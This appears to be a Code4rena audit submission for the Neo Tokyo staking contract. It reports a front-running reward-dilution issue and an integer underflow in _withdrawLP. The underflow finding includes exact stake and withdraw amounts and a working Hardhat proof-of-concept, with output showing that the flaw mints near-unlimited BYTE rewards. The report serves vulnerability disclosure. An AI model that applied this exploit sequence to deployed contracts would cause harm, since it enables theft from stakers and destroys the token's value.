Neo Tokyo contest - J4de's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1386

Vulnerability details

Summary

// NeoTokyoStaker.sol line 1386
             // Return final shares.
			unchecked {
				uint256 share = points * _PRECISION / pool.totalPoints * totalReward;
				uint256 daoShare = share * pool.daoTax / (100 * _DIVISOR);
				share /= _PRECISION;
				daoShare /= _PRECISION;
				return ((share - daoShare), daoShare);
			}

The way the NeoTokyoStaker contract calculates rewards is:

points is the number of points in the user's position and pool.totalPoints is the sum of points in the current pool.

The problem here is to use the sum of the points in the current pool to calculate the reward that the user has got. If an attacker suddenly stakes, the reward will decrease when the user withdraws. The attack process is as follows:

1. Suppose the user's points are 50, the current points in the pool are 100, and all window rewards of the user are 100, then the user's income is (50 / 100) * 100 = 50
2. After the attacker staker a position worth 100 points, the user's rewards when withdrawing is (50 / 200) * 100 = 25

If an attacker intends to attack a certain user, he can call the NeoTokyoStaker contract one step in advance when he detects that the user call a stake/withdrawal (these operations will trigger the calculation of reward).

Impact

Reduce the reward that user have got.

Proof of Concept

Tools Used

Manual

Recommended Mitigation Steps

Use the total points per window instead of the current pool total, or periodically calculate rewards.

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622

Vulnerability details

Summary

// https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622
		unchecked {
			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points; ///// <----- overflow point

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

When calling _withdrawLP function, the number of position points will be reduced according to the number of withdrawals. Since this code uses the unchecked modifier, when lpPosition.points < points will trigger integer wrapping and cause lpPosition.points to become very large (can be uint256 .max).

The following process can make lpPosition.points < points happen (suppose timelockMultiplier is 100 and _DIVISOR is 100):

1. Stake 0.9 * 1e18 / 100 (0.009 ether) amount of LP. Now, stakerLPPosition[msg.sender].amount = 0.9 * 1e18 / 100 and point = 0.9 * 1e18 / 100 * 100 / 1e18 * lpPosition.multiplier / _DIVISOR = 0.9 * 1e18 / 100 * 100 / 1e18 * 100 / 100 = 0 (The result is 0 because the division lost some data)
2. Stake 0.9 * 1e18 / 100 (0.009 ether) amount of LP again. Now, stakerLPPosition[msg.sender].amount = 1.8 * 1e18 / 100 and point = 0 (Same reason as above)
3. Withdraw 1 * 1e18 / 100 (0.01 ether) amount of LP. Now look at the above code, points = 1 * 1e18 / 100 * 100 / 1e18 * lpPosition.multiplier / _DIVISOR = 1 * 1e18 / 100 * 100 / 1e18 * 100 / 100 = 1 and lpPosition.points = 0.
4. Look at the overflow point of the above code, lpPosition.points -= points equal 0 - 1, so lpPosition.points becomes uint256.max

Impact

The stake rewards of NeoTokyoStaker contract is related to the number of points. The more points, the higher the rewards.

Using the above problems, points will be much larger than pool.totalPoints, the attacker's reward will become very large, far exceeding the total reward of the entire pool. It may even be many times larger than BYTE's totalSupply. Since the BYTE of the reward is directly minted rather than transferred, no matter how large the reward is, it is legal.

The attacker ends up with almost unlimited (relatively speaking) BYTE, which will destroy the entire BYTE ecosystem. 🤯

Proof of Concept

		describe('POC0000', function () {
			let aliceStakeTime, bobStakeTime;
			beforeEach(async () => {
				// Configure the LP token contract address on the staker.
				await NTStaking.connect(owner.signer).configureLP(LPToken.address);
			});

			// POC
			it('POC', async function () {
				// Bob stake amount = 100 ether,
				// to simulate existing total pool points
				await NTStaking.connect(bob.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('100'),
					0,
					0
				);
				console.log("----- simulate existing total pool points");

				// Alice stake amount = 1 * 1e18 / 90
				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('0.009'),
					0,
					0
				);
				console.log("----- Alice stake amount = 1 * 1e18 / 90");

				// Alice stake amount = 1 * 1e18 / 90
				await NTStaking.connect(alice.signer).stake(
					ASSETS.LP.id,
					TIMELOCK_OPTION_IDS['30'],
					ethers.utils.parseEther('0.009'),
					0,
					0
				);
				console.log("----- Alice stake amount = 1 * 1e18 / 90");

				let priorBlockNumber = await ethers.provider.getBlockNumber();
				let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
				aliceStakeTime = priorBlock.timestamp;

				// Alice withdraw amount = 1 * 1e18 / 100
				await ethers.provider.send('evm_setNextBlockTimestamp', [
					aliceStakeTime + (60 * 60 * 24 * 30)
				]);
				await NTStaking.connect(alice.signer).withdraw(
					ASSETS.LP.id,
					ethers.utils.parseEther('0.01'),
				);
				console.log("----- Alice withdraw amount = 1 * 1e18 / 100");

				// clear reward
				await NTCitizenDeploy.connect(alice.signer).getReward();
				await NTCitizenDeploy.connect(bob.signer).getReward();
				let aliceByte2Balance = await NTBytes2_0.balanceOf(alice.address);
				let bobByte2Balance = await NTBytes2_0.balanceOf(bob.address);
				console.log("----- aliceByte2Balance = " + aliceByte2Balance);
				console.log("----- bobByte2Balance = " + bobByte2Balance);

				// Jump to one day
				await ethers.provider.send('evm_setNextBlockTimestamp', [
					aliceStakeTime + (60 * 60 * 24 * 31)
				]);
				console.log("----- Jump to one day");

				// Calc new day's reward
				await NTCitizenDeploy.connect(alice.signer).getReward();
				await NTCitizenDeploy.connect(bob.signer).getReward();
				aliceByte2Balance = await NTBytes2_0.balanceOf(alice.address);
				bobByte2Balance = await NTBytes2_0.balanceOf(bob.address);
				console.log("----- One day after, aliceByte2Balance = " + aliceByte2Balance);
				console.log("----- One day after, bobByte2Balance = " + bobByte2Balance);
			});
		});

Run result:

  Testing BYTES 2.0 & Neo Tokyo Staker
    with example configuration
      POC0000
_stakeLP amount = 100000000000000000000
_stakeLP amount = 100000000000000000000, points = 10000
----- simulate existing total pool points
getPoolReward points = 0
_stakeLP amount = 9000000000000000
_stakeLP amount = 9000000000000000, points = 0
----- Alice stake amount = 1 * 1e18 / 90
getPoolReward points = 0
_stakeLP amount = 9000000000000000
_stakeLP amount = 9000000000000000, points = 0
----- Alice stake amount = 1 * 1e18 / 90
getPoolReward points = 0
_withdrawLP amount = 10000000000000000, points = 1
----- Alice withdraw amount = 1 * 1e18 / 100
getPoolReward points = 1.157920892373162e+77
getPoolReward points = 10000
----- aliceByte2Balance = 19551423048464032967146763002779579160553264574062966768734336554
----- bobByte2Balance = 6017147760146383093897
----- Jump to one day
getPoolReward points = 1.157920892373162e+77
getPoolReward points = 10000
----- One day after, aliceByte2Balance = 48558418376539059693345993427484483733706022006285816562833639158
----- One day after, bobByte2Balance = 6065652049232699069076
        ✓ POC

It can be seen that Alias has obtained almost all rewards from the pool at almost zero cost!

Tools Used

Manual

Recommended Mitigation Steps

Do not use the unchecked modifier.